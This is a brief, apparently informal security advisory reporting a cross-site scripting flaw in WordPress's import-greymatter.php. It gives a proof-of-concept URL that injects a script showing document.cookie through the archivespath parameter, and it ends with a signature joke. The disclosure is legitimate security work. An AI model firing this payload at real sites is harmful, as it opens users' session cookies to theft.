Wordpress is a popular blogging software. Its website is at http://wordpress.org/ Wordpress has a XSS vulnerabilty; http://[host]/[folder]/wp-admin/import-greymatter.php?action=step1& archivespath=[script]alert(document.cookie)[/script] FNSE advisory http://fnse.be.tt Watch out for my new book "How to Make Unhackable French Fries" RB9